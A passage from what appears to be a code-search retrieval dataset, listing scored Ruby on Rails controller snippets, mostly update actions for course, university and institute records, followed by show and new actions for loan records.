"28f55977eaf6a59fec813c9d9370262f", "score": "0.6090083", "text": "def update\n @user_course = UserCourse.find(params[:id])\n\n respond_to do |format|\n if @user_course.update_attributes(params[:user_course])\n format.html { redirect_to @user_course, notice: 'User course was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "28f55977eaf6a59fec813c9d9370262f", "score": "0.6090083", "text": "def update\n @user_course = UserCourse.find(params[:id])\n\n respond_to do |format|\n if @user_course.update_attributes(params[:user_course])\n format.html { redirect_to @user_course, notice: 'User course was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1052df88e25a2c8a6f2b6db91f4526d1", "score": "0.6087808", "text": "def update\n @university = UniversityDecorator.decorate @database_study.university\n respond_to do |format|\n if @database_study.update_attributes(params[:database_study])\n format.html { redirect_to @database_study, notice: t2('update.notice') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @database_study.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "21d1b10530b778c5e5f0c2b7d6d87326", "score": "0.6060098", "text": "def update\n @universidad = Universidad.find(params[:id])\n\n respond_to do |format|\n if @universidad.update_attributes(params[:universidad])\n format.html { redirect_to @universidad, notice: 'La Universidad fue actualizada exitosamente' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @universidad.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cc05c81362ba8351d67b3c249099fa13", "score": "0.605132", "text": "def update\n respond_to do |format|\n if @universo.update(universo_params)\n format.html { redirect_to @universo, notice: 'Universo was successfully updated.' }\n format.json { render :show, status: :ok, location: @universo }\n else\n format.html { render :edit }\n format.json { render json: @universo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e2bdf1110d50265e00a8187b10033138", "score": "0.603989", "text": "def update\n get_school\n @request_vocational = @school_request.vocationals.find(params[:id])\n @request_vocational.update_attributes(params[:request_vocational])\n end", "title": "" }, { "docid": "6975cf79bc0e9cd4e5e688aadf2f393f", "score": "0.6028521", "text": "def update\n if @student_university.update(student_university_params)\n redirect_to student_universities_url, notice: 'Student university was successfully updated.' \n end\n end", "title": "" }, { "docid": "8ea5c4252cd4a446748d32cd6b5b43d9", "score": "0.6011061", "text": "def update\n @university_event = UniversityEvent.find(params[:id])\n\n if @university_event.update(university_event_params)\n head :no_content\n else\n render json: @university_event.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "dd931baa58b80e101aaf592c08d21df1", "score": "0.6000269", "text": "def set_course_university\n @course_university = CourseUniversity.find(params[:id])\n end", "title": "" }, { "docid": "a6170e0bf7ef11aa385cc28fafeed565", "score": "0.5996312", "text": "def update\n @sele_course = SeleCourse.find(params[:id])\n\n respond_to do |format|\n if @sele_course.update_attributes(params[:sele_course])\n format.html { redirect_to @sele_course, notice: 'Sele course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @sele_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7aab8838e20568823ce275533cdbf063", "score": "0.59856725", "text": "def update\n authorize @course\n respond_to do |format|\n if @course.update_with_status(staff_course_params)\n format.html { redirect_to staff_course_path(@course), notice: 'Course was successfully updated.' }\n else\n set_categories\n set_colleges\n format.html { render :edit }\n end\n end\n end", "title": "" }, { "docid": "3c7f865575c973ab29eb1367b271acb2", "score": "0.59830105", "text": "def update\n @course = Course.find(params[:id])\n state_id = params[:course][:state]\n town_id = params[:course][:town]\n postal_code_id = params[:course][:postal_code]\n location_relation_id = LocationRelation.where(:state_id => state_id, :postal_code_id => postal_code_id, :town_id => town_id).first\n respond_to do |format|\n if @course.update(:training_organization_id => params[:course][:training_organization],\n :is_correspondence => params[:course][:is_correspondence],\n :is_correspondence => params[:course][:is_correspondence],\n :in_house_course => params[:course][:in_house_course],\n :course_code => params[:course][:course_code],\n :course_date => params[:course][:course_date],\n :location_relation_id => location_relation_id.id,\n :venue_id => params[:course][:venue],\n :trainer_id => params[:course][:trainer]\n )\n format.html { redirect_to @course, notice: 'RTO was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c15e9feb273aaaedb7d29f8b88283de4", "score": "0.5969046", "text": "def update\n\n #Verificar Token\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n \n u = University.where(name: params[:user_university]).first\n if u.present?\n @user.university_id = u.id\n end\n\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n \n end", "title": "" }, { "docid": "48acd07abeb6d26a3fe3c5c494f549fd", "score": "0.59683734", "text": "def update\n authorize! :update, @course\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "39e46bc115312e20ec5e8a6c72be6fcb", "score": "0.59576374", "text": "def update\n\n @user_requirement = current_user.user_requirements.find(params[:id])\n\n #TODO need to detect when industry list has been modified\n respond_to do |format|\n\n if @user_requirement.update_attributes(params[:user_requirement])\n\n format.html { redirect_to @user_requirement, notice: 'User requirement was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_requirement.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8d09e4d47a45ff407778649a4e597035", "score": "0.5954241", "text": "def update\n respond_to do |format|\n if @benefit_x_university.update(benefit_x_university_params)\n format.html { redirect_to @benefit_x_university, notice: 'Benefit x university was successfully updated.' }\n format.json { render :show, status: :ok, location: @benefit_x_university }\n else\n format.html { render :edit }\n format.json { render json: @benefit_x_university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4a685cb23206dc5078c367b1d9caa6ac", "score": "0.5950279", "text": "def update\n @course = Course.find(params[:id])\n @course.department_id = current_user.department_id\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "51216fe2c40e4c7488660ed042f51522", "score": "0.5948489", "text": "def update\n respond_to do |format|\n if @classroom_laboratory_resource.update(classroom_laboratory_resource_params)\n format.html { redirect_to @classroom_laboratory_resource}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @classroom_laboratory_resource.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7f8370a809ec859df7887bdeadef3327", "score": "0.59455997", "text": "def update\n\t\n\t# need to create the course if it's not already there\n\t\n @teaching_course = TeachingCourse.find(params[:id])\n\n respond_to do |format|\n if @teaching_course.update_attributes(params[:teaching_course])\n format.html { redirect_to @teaching_course, notice: 'Teaching course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @teaching_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e9de5b705565af3997d39c04239031f5", "score": "0.59441286", "text": "def update\n @campus = Campus.find(params[:campus_id])\n @complaint = @campus.complaints.find(params[:id])\n authorize! :update, @complaint, :message => 'Acceso denegado.'\n\n respond_to do |format|\n if @complaint.update_attributes(params[:complaint])\n format.html { redirect_to([@complaint.campus.university, @complaint.campus, @complaint], :notice => 'Complaint was successfully updated.') }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @complaint.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f19b168e8cb0594a54ca1dcf0e8322d1", "score": "0.5942129", "text": "def update\n@lecture= Lecture.find(params[:id])\n if current_user.id==@lecture.course.user.id\n respond_to do |format|\n @courses = Course.where(:user_id => current_user.id );\n if @lecture.update(lecture_params)\n format.html { redirect_to @lecture, notice: 'Lecture was successfully updated.' }\n format.json { render :show, status: :ok, location: @lecture }\n else\n format.html { render :edit }\n format.json { render json: @lecture.errors, status: :unprocessable_entity }\n end\n end\nelse\n respond_to do |format|\n format.html { redirect_to courses_url, notice: 'lecture cant be updated.' }\n format.json { head :no_content }\nend\n end\n \nend", "title": "" }, { "docid": "89fe992af30aa868448baa3fe59327a2", "score": "0.59378755", "text": "def update\n @in_course = InCourse.find(params[:id])\n\n respond_to do |format|\n if @in_course.update_attributes(params[:in_course])\n format.html { redirect_to @in_course, :notice => 'In course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @in_course.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c7cd1d56362d49ab877a7c9029d7988c", "score": "0.59371996", "text": "def update\r\n @usercourse = Usercourse.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @usercourse.update_attributes(params[:usercourse])\r\n format.html { redirect_to courses_by_saadhaka_path(@usercourse.user_id), notice: 'Usercourse was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @usercourse.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "fc92f4ded70e9eaa4b582ab796dbeebc", "score": "0.5934155", "text": "def update\n @course = Course.find(params[:id])\n setTags(@course)\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b54bec353a8186777170bc223ec64d81", "score": "0.593213", "text": "def update\n @institute = Institute.find(params[:id])\n\n respond_to do |format|\n if @institute.update_attributes(params[:institute])\n format.html { redirect_to @institute, notice: 'Institute was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @institute.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "34066df43715621943534138c30479e3", "score": "0.59319514", "text": "def update\n @instructorcourse = Instructorcourse.find(params[:id])\n\n respond_to do |format|\n if @instructorcourse.update_attributes(params[:instructorcourse])\n format.html { redirect_to @instructorcourse, notice: 'Instructorcourse was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @instructorcourse.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e8cfdaac834875ca387a65c7a1eb6862", "score": "0.5921365", "text": "def update\n respond_to do |format|\n if @users_course.update(users_course_params)\n format.html { redirect_to @users_course, notice: \"Users course was successfully updated.\" }\n format.json { render :show, status: :ok, location: @users_course }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @users_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "110558e4087a1823837a4ffe727f18ab", "score": "0.591182", "text": "def update\n @institute = Institute.find(params[:id])\n\n respond_to do |format|\n if @institute.update_attributes(params[:institute])\n format.html { redirect_to institutes_url, notice: \"Institute #{ @institute.name } was successfully updated\" }\n format.json { head :ok }\n else\n @institutes = Institute.all\n format.html { render :action=>:index }\n format.json { render json: @institute.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "21219d8b2585965d72df2f8d54065423", "score": "0.5903931", "text": "def update\r\n unless ( params[:students].blank? ) \r\n @course.students_ids = params[:students]\r\n end\r\n respond_to do |format|\r\n if @course.update(course_params)\r\n format.html { redirect_to @course}\r\n format.json { render :show, status: :ok, location: @course}\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @course.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "title": "" }, { "docid": "b15e6030d9830e279cdb2f8052c0baa1", "score": "0.5903876", "text": "def update\n @course = Course.find(params[:id])\n respond_to do |format|\n if @course.update_attributes!(strong_type(params))\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5f3f39ac809ce8597b482960bf1ee5a1", "score": "0.5903384", "text": "def update\n if @course.update(course_params)\n render json: @course\n else\n render json: ErrorSerializer.serialize(@course.errors), status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "b0450b5ba1bb58fc1cb562e94e4eb5ac", "score": "0.5902763", "text": "def update\n respond_to do |format|\n if @period_university.update(period_university_params)\n format.html { redirect_to @period_university, notice: 'Period university was successfully updated.' }\n format.json { render :show, status: :ok, location: @period_university }\n else\n format.html { render :edit }\n format.json { render json: @period_university.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "32f1929945dcf0249df80b0eac5e8b3e", "score": "0.5898373", "text": "def update\n respond_to do |format|\n if @institute.update(institute_params)\n if params[\"sub_categories_id\"].present? \n @not_required = @institute.sub_categories.collect {|s| s.id.to_s} - params[\"sub_categories_id\"].split(\",\")\n @not_required.each {|sub_category_id| @institute.institute_sub_categories.where(sub_category_id: sub_category_id).destroy_all}\n params[\"sub_categories_id\"].split(\",\").each {|sub_category_id| @institute.institute_sub_categories.create(sub_category_id: sub_category_id) if !@institute.sub_categories.collect {|s| s.id.to_s}.include? sub_category_id}\n end\n\n format.html { redirect_to profile_path(locale: I18n.locale,username: @institute.user.username), notice: 'Institute was successfully updated.' }\n format.json { render :show, status: :ok, location: @institute }\n else\n format.html { render :edit }\n format.json { render json: @institute.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cbebea6acc56a9db947e31c9d18114d1", "score": "0.5898053", "text": "def update\n respond_to do |format|\n if @lift_course.update(lift_course_params)\n format.html { redirect_to lift_courses_url, notice: 'Lift course was successfully updated.' }\n format.json { redirect_to lift_courses_url, status: :ok, location: @lift_course }\n else\n format.html { render :edit }\n format.json { render json: @lift_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "af6a2f9abdec44b6cc6fa4c2f1f80bb3", "score": "0.58962417", "text": "def update\n respond_to do |format|\n if @classroom_laboratory.update(classroom_laboratory_params)\n format.html { redirect_to @classroom_laboratory}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @classroom_laboratory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb157dd694e5650942c356fb680e6509", "score": "0.58953476", "text": "def update\n respond_to do |format|\n if @institute.update(institute_params)\n format.html { redirect_to \"/institutes/#{@institute.id}/edit\", notice: 'Institute was successfully created.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @institute.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7377b8659c3358e110a9d0dd5f894644", "score": "0.58951867", "text": "def update\n @university = UniversityDecorator.decorate @service.university\n\n respond_to do |format|\n if @service.update_attributes(params[:service])\n format.html { redirect_to @university, notice: t2('update.notice') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @service.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "522690383d4ecc1e89b10dd4ff8a0a46", "score": "0.5894841", "text": "def update\n @lecture = Lecture.find(params[:id])\n\n if @lecture.update(lecture_params)\n head :no_content\n else\n render json: @lecture.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "d04830676b2da440807ba9cfb605451d", "score": "0.5894014", "text": "def update\n coursekey_errors = ValidationService.validate_coursekey(params[:coursekey])\n coursename_errors = ValidationService.validate_coursename(params[:name])\n date_errors = ValidationService.validate_course_dates(params[:startdate], params[:enddate])\n if not TeachingService.teacher_on_course?(current_user.id, params[:id])\n render :json => {\"error\" => \"Et ole kyseisen kurssin opettaja.\"}, status: 401\n elsif coursename_errors \n render :json => coursename_errors, status: 403\n elsif coursekey_errors\n render :json => coursekey_errors, status: 403\n elsif date_errors\n render :json => date_errors, status: 403\n else\n if CourseService.update_course?(params[:id], course_params)\n render :json => {\"message\" => \"Kurssitiedot päivitetty.\"}, status: 200\n else\n render :json => {\"error\" => \"Kurssia ei voida tallentaa tietokantaan.\"}, status: 422\n end\n end\n end", "title": "" }, { "docid": "36f8a17ba7921f746b9b55ff77dd2557", "score": "0.5891549", "text": "def update\n # @course.user = current_user\n respond_to do |format|\n if @course.update(course_params)\n format.html { redirect_to courses_path, notice: 'Course was successfully updated.' }\n format.json { render :show, status: :ok, location: @course }\n else\n format.html { render :edit }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8e35a24a8db1bdc2e95e5e77a87b6691", "score": "0.58909166", "text": "def update\n respond_to do |format|\n if @empire_course.update(empire_course_params)\n format.html { redirect_to @empire_course, notice: 'Empire course was successfully updated.' }\n format.json { render :show, status: :ok, location: @empire_course }\n else\n format.html { render :edit }\n format.json { render json: @empire_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f216095a7e1e104ce3b27ddd632a86ff", "score": "0.5887731", "text": "def set_api_university\n @api_university = University.find(params[:id])\n end", "title": "" }, { "docid": "0ae7123dacd103b374eb4cc66947ad92", "score": "0.58797365", "text": "def update\n @lab_course_student = LabCourseStudent.find(params[:id])\n\n respond_to do |format|\n if @lab_course_student.update_attributes(params[:lab_course_student])\n format.html { redirect_to @lab_course_student, notice: 'Lab course student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab_course_student.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "711db415075b50514fefd59a05c12855", "score": "0.58711904", "text": "def update\n @university = UniversityDecorator.decorate @public_source_study.university\n respond_to do |format|\n if @public_source_study.update_attributes(params[:public_source_study])\n format.html { redirect_to @public_source_study, notice: t2('update.notice') }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @public_source_study.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f706f35b3475c3ca3049151936fa3c2a", "score": "0.5869691", "text": "def update\n @facilityinstructor = Facilityinstructor.find(params[:id])\n\n respond_to do |format|\n if @facilityinstructor.update_attributes(params[:facilityinstructor])\n format.html { redirect_to @facilityinstructor, notice: 'Facilityinstructor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @facilityinstructor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "73c22f69f758bf0dda04f3a4ec411e92", "score": "0.5866164", "text": "def update\n respond_to do |format|\n if @major_city.update(major_city_params)\n format.html { redirect_to @major_city, notice: 'Major city was successfully updated.' }\n format.json { render :show, status: :ok, location: @major_city }\n else\n format.html { render :edit }\n format.json { render json: @major_city.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "064c71174a8c86eb6563a1bd8208bb21", "score": "0.58656126", "text": "def update\n @courses_instructor = CoursesInstructor.find(params[:id])\n\n respond_to do |format|\n if @courses_instructor.update_attributes(params[:courses_instructor])\n format.html { redirect_to @courses_instructor, notice: 'Courses instructor was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @courses_instructor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "740d4e336af2efe29915163821ce4c5b", "score": "0.5865187", "text": "def update\n @reg_course = RegCourse.find(params[:id])\n\n respond_to do |format|\n if @reg_course.update_attributes(params[:reg_course])\n format.html { redirect_to @reg_course, notice: 'Reg course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reg_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d0ee09fefd62deb94b471dbe90d544dd", "score": "0.5859356", "text": "def update\n respond_to do |format|\n if @course_lecture.update(course_lecture_params)\n format.html { redirect_to @course_lecture, notice: 'Course lecture was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_lecture }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @course_lecture.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b959187d5d7e99dd86136ee4709209b9", "score": "0.58547384", "text": "def update\n @course = Course.find(params[:id])\n #authorize! :update, @course\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: 'Course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d326d3cf887ec34e9b242c64af3296d6", "score": "0.5854601", "text": "def update\n @course = Course.find(params[:id])\n\n respond_to do |format|\n if @course.update_attributes(params[:course])\n format.html { redirect_to @course, notice: t('successfully_updated',resource: t('course')) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5060d19f012b08ccc18c29ebba38611d", "score": "0.5852001", "text": "def update\n #authorize :teacher, :admin or return\n authorize! :update, @course\n\n @local_course = Course.find(params[:id])\n\n respond_to do |format|\n if @local_course.update_attributes(params[:course])\n flash[:success] = t(:course_updated)\n format.html { redirect_to(edit_course_path(@local_course)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @local_course.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "da4a26557f950d89facc01c86a29f249", "score": "0.58446795", "text": "def update\n @student_in_course = StudentInCourse.find(params[:id])\n\n respond_to do |format|\n if @student_in_course.update_attributes(params[:student_in_course])\n format.html { redirect_to @student_in_course, notice: 'Student in course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_in_course.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "71b12ac0c34c4cf59888551d8c649259", "score": "0.5843973", "text": "def update\n @laboratory = Laboratory.find params[:id]\n return unless authorize_resource(@laboratory, UPDATE_LABORATORY)\n\n respond_to do |format|\n if @laboratory.update(laboratory_params)\n format.html { redirect_to laboratories_path, notice: 'Laboratory was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @laboratory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ba499881c3b28362befb627f0d4f61d3", "score": "0.5841359", "text": "def update\n before_action :authenticate_user!\n respond_to do |format|\n if @institute.update(institute_params)\n format.html { redirect_to @institute, notice: 'Institute was successfully updated.' }\n format.json { render :show, status: :ok, location: @institute }\n else\n format.html { render :edit }\n format.json { render json: @institute.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4cf4099e532bf79be32896520e049f68", "score": "0.5841199", "text": "def update\n authorize! :update, CompetenceTier\n \n @competence_tier.update!(competence_tier_params)\n render json: {status: :ok}\n end", "title": "" }, { "docid": "fbc38ae2c60553276456a257fd0d09f7", "score": "0.58392006", "text": "def update\n\t\trespond_to do |format|\n\t\t\tif @college.update(college_params)\n\t\t\t\tformat.html { redirect_to @college, notice: \"College was successfully updated.\" }\n\t\t\t\tformat.json { render :show, status: :ok, location: @college }\n\t\t\telse\n\t\t\t\tformat.html { render :edit, status: :unprocessable_entity }\n\t\t\t\tformat.json { render json: @college.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "e41b4082a3a945810a44a30a5ed44a43", "score": "0.58373004", "text": "def update\n respond_to do |format|\n if @university_contact.update(university_contact_params)\n format.html { redirect_to university_contacts_url, notice: 'University contact was successfully updated.' }\n format.json { render :show, status: :ok, location: @university_contact }\n else\n format.html { render :edit }\n format.json { render json: @university_contact.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "649190fcac54ec4eec4fdbda9b388889", "score": "0.5835485", "text": "def update\n @user_course = current_user.user_courses.find(params[:id])\n @course = Course.find_by_department_and_number(params[:user_course][:department],params[:user_course][:number])\n params[:user_course].delete(\"department\")\n params[:user_course].delete(\"number\")\n params[:user_course][:course_id] = @course.id\n if @user_course.update_attributes(params[:user_course])\n redirect_to(user_courses_url, :notice => 'User course was successfully updated.')\n else\n render :action => \"edit\"\n end\n end", "title": "" }, { "docid": "f27d4d5e5df70c5157125bbfc85bb077", "score": "0.5833106", "text": "def update\n @user = User.find(params[:id])\n @user.name = params[:user][:name]\n @user.email = params[:user][:email]\n @user.is_admin = params[:user][:is_admin]\n @user.is_registrar = params[:user][:is_registrar]\n @courses = Course.where(:id => params[:user][:course_ids])\n #we destroy the users courses before adding the new ones\n @user.courses.destroy_all\n @user.courses << @courses\n respond_to do |format|\n if @user.save()\n format.html { redirect_to users_path}\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
4eae79a3a01b6511c76d606443de8c87
GET /loan_details/1 GET /loan_details/1.json
[ { "docid": "9b0950ae3af9bbba1c2ff332ba9f10a9", "score": "0.8183539", "text": "def show\n @loan_detail = LoanDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan_detail }\n end\n end", "title": "" } ]
[ { "docid": "9251321db06f4f84b714f979e4f1d04b", "score": "0.82865095", "text": "def show\n @loan_detail = LoanDetail.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan_detail }\n end\n end", "title": "" }, { "docid": "5cff0f923b1c288b78db775059902447", "score": "0.7957132", "text": "def show\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan }\n end\n end", "title": "" }, { "docid": "5cff0f923b1c288b78db775059902447", "score": "0.7957132", "text": "def show\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan }\n end\n end", "title": "" }, { "docid": "5cff0f923b1c288b78db775059902447", "score": "0.7957132", "text": "def show\n @loan = Loan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan }\n end\n end", "title": "" }, { "docid": "e324f057526a5567e48553885a122a1c", "score": "0.7898659", "text": "def show\n @on_loan = OnLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @on_loan }\n end\n end", "title": "" }, { "docid": "75f91755cfd2901c77ca78a18ff2dc19", "score": "0.7668856", "text": "def show\n @inter_library_loan = InterLibraryLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @inter_library_loan }\n end\n end", "title": "" }, { "docid": "06f1ec0735f80bfd83fd8dd18e24f5de", "score": "0.76602626", "text": "def show\n @loan_history = LoanHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan_history }\n end\n end", "title": "" }, { "docid": "afa2c65b6a960bf3468592039fade8b2", "score": "0.7619662", "text": "def new\n @loan_detail = LoanDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan_detail }\n end\n end", "title": "" }, { "docid": "afa2c65b6a960bf3468592039fade8b2", "score": "0.7619662", "text": "def new\n @loan_detail = LoanDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan_detail }\n end\n end", "title": "" }, { "docid": "5fd4fb00a8f3b71e68cd04c5137ed777", "score": "0.75679284", "text": "def index\n @loan_details = LoanDetail.all\n end", "title": "" }, { "docid": "a8ce05af048b8bdfb8ca9834c0d1e4e9", "score": "0.7540243", "text": "def show\n @loan_type = LoanType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan_type }\n end\n end", "title": "" }, { "docid": "a6ed756aab783e0d763e4200184ec2bb", "score": "0.7536699", "text": "def show\n @loan = @customer.loans.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan }\n end\n end", "title": "" }, { "docid": "eef93010b2611422489dd9c500e1b4dd", "score": "0.75195843", "text": "def show\n @loan_payment = LoanPayment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loan_payment }\n end\n end", "title": "" }, { "docid": "5e786d13de8596fe72b157939cf1ffdf", "score": "0.7449662", "text": "def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan }\n end\n end", "title": "" }, { "docid": "5e786d13de8596fe72b157939cf1ffdf", "score": "0.7449662", "text": "def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan }\n end\n end", "title": "" }, { "docid": "5e786d13de8596fe72b157939cf1ffdf", "score": "0.7449662", "text": "def new\n @loan = Loan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @loan }\n end\n end", "title": "" }, { "docid": "8d4243e92f0a79df5dced1bcb0799e95", "score": "0.74061036", "text": "def new\n @on_loan = OnLoan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @on_loan }\n end\n end", "title": "" }, { "docid": "774ed92d87bcf5b366d902960760d720", "score": "0.73963946", "text": "def show\n @round_loan = RoundLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @round_loan }\n end\n end", "title": "" }, { "docid": "b6b3210974faee699ce045e203b2c937", "score": "0.73789954", "text": "def show\r\n @applied_loan = AppliedLoan.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @applied_loan 